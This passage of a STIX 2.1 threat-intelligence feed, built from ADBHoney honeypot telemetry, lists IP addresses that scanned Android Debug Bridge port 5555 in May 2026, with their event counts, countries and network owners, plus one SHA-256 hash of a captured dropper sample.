      "valid_from": "2026-05-27T02:00:09.000Z",
      "valid_until": "2026-06-28T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-27T01:24:11.000Z",
          "last_seen": "2026-05-27T01:34:16.198Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T02:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-27T01:22:55.000Z | last_seen=2026-05-27T01:23:59.117Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f4736418-cd24-4f1f-b646-6a159a670551",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:00:09.000Z",
      "valid_until": "2026-06-28T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-27T01:22:55.000Z",
          "last_seen": "2026-05-27T01:23:59.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T02:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=IR; asn=58224; asn_org=Iran Telecommunication Company PJS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-27T01:38:14.000Z | last_seen=2026-05-27T01:43:16.704Z | ports=5555 | cc=IR | asn=58224 | org=Iran Telecommunication Company PJS",
      "id": "indicator--6c05e3e8-0c3a-4705-9e6a-72f03e85fc79",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '78.39.252.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T02:00:09.000Z",
      "valid_until": "2026-06-28T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-27T01:38:14.000Z",
          "last_seen": "2026-05-27T01:43:16.704Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "58224"
          ],
          "org": [
            "Iran Telecommunication Company PJS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-27T02:18:03.000Z | last_seen=2026-05-27T02:28:16.041Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--35d0f1c4-3a85-4521-9941-3be1c95a2012",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.209.82.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:00:03.000Z",
      "valid_until": "2026-06-28T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-27T02:18:03.000Z",
          "last_seen": "2026-05-27T02:28:16.041Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-27T02:09:29.000Z | last_seen=2026-05-27T02:19:39.469Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--36f0ca6f-3def-42ba-b553-e2b9d520d182",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:00:03.000Z",
      "valid_until": "2026-06-28T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-27T02:09:29.000Z",
          "last_seen": "2026-05-27T02:19:39.469Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=FR; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-27T02:09:30.000Z | last_seen=2026-05-27T02:19:51.417Z | ports=5555 | cc=FR | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--347f7b08-e064-472a-98a3-3e9d8f52184b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T03:00:03.000Z",
      "valid_until": "2026-06-28T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-27T02:09:30.000Z",
          "last_seen": "2026-05-27T02:19:51.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=24 | first_seen=2026-05-27T04:57:23.000Z | last_seen=2026-05-27T05:08:52.864Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--54977b74-c8dd-42c9-a4a7-99200e40c324",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T05:00:03.000Z",
      "valid_until": "2026-06-28T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 24,
          "first_seen": "2026-05-27T04:57:23.000Z",
          "last_seen": "2026-05-27T05:08:52.864Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-27T05:03:56.000Z | last_seen=2026-05-27T08:15:00.517Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1f029460-371d-41e2-92ba-c9dcbc719f49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.26.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T06:00:02.000Z",
      "valid_until": "2026-06-28T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-27T05:03:56.000Z",
          "last_seen": "2026-05-27T08:15:00.517Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-27T06:04:20.000Z | last_seen=2026-05-27T06:16:06.975Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--7d9dba6b-cbcf-48a2-a454-785277d3d108",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:00:03.000Z",
      "valid_until": "2026-06-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-27T06:04:20.000Z",
          "last_seen": "2026-05-27T06:16:06.975Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-27T09:18:05.000Z | last_seen=2026-05-27T09:19:42.342Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--b0aab3b3-fd82-4ff1-9484-106b6dbe5935",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:00:02.000Z",
      "valid_until": "2026-06-28T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-27T09:18:05.000Z",
          "last_seen": "2026-05-27T09:19:42.342Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=55; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=55 | first_seen=2026-05-27T09:27:37.000Z | last_seen=2026-05-27T09:38:23.012Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--ed6c7b28-7f1c-4297-9138-942295611ee2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:00:02.000Z",
      "valid_until": "2026-06-28T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 55,
          "first_seen": "2026-05-27T09:27:37.000Z",
          "last_seen": "2026-05-27T09:38:23.012Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-27T11:06:50.000Z | last_seen=2026-05-27T11:17:01.319Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--3f1ecadf-aad7-484a-8715-508af24191da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.124.173.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T12:00:02.000Z",
      "valid_until": "2026-06-28T12:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-27T11:06:50.000Z",
          "last_seen": "2026-05-27T11:17:01.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-27T12:43:45.000Z | last_seen=2026-05-27T12:44:46.564Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--79a33ebc-a2d5-43af-ab67-bab600541942",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:00:02.000Z",
      "valid_until": "2026-06-28T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-27T12:43:45.000Z",
          "last_seen": "2026-05-27T12:44:46.564Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-27T13:45:18.000Z | last_seen=2026-05-27T13:55:35.618Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--24c47ce6-5f3a-47e6-bc99-c67a9dacafa2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:00:01.000Z",
      "valid_until": "2026-06-28T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-27T13:45:18.000Z",
          "last_seen": "2026-05-27T13:55:35.618Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T14:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=RU; asn=9130; asn_org=LLC Managing Company Hydraulic Machines and Systems; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-27T13:11:43.000Z | last_seen=2026-05-27T13:12:48.626Z | ports=5555 | cc=RU | asn=9130 | org=LLC Managing Company Hydraulic Machines and Systems",
      "id": "indicator--4e906077-cb0f-4d2b-87c7-c158b71f2048",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.223.242.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:00:01.000Z",
      "valid_until": "2026-06-28T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-27T13:11:43.000Z",
          "last_seen": "2026-05-27T13:12:48.626Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "9130"
          ],
          "org": [
            "LLC Managing Company Hydraulic Machines and Systems"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=38 | first_seen=2026-05-27T14:08:06.000Z | last_seen=2026-05-30T14:29:31.453Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--1666b1d7-c794-4977-b2c7-1600a8136d18",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:00:02.000Z",
      "valid_until": "2026-06-28T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 38,
          "first_seen": "2026-05-27T14:08:06.000Z",
          "last_seen": "2026-05-30T14:29:31.453Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T15:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/8058b277e0cae15eb1b1f19145c2da546f4329365de824b23527d9a5171b2167.raw; last_seen=2026-05-27T14:46:53.458Z",
      "id": "indicator--cd213a9b-825e-4912-a26e-4bbbf80195d3",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '8058b277e0cae15eb1b1f19145c2da546f4329365de824b23527d9a5171b2167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
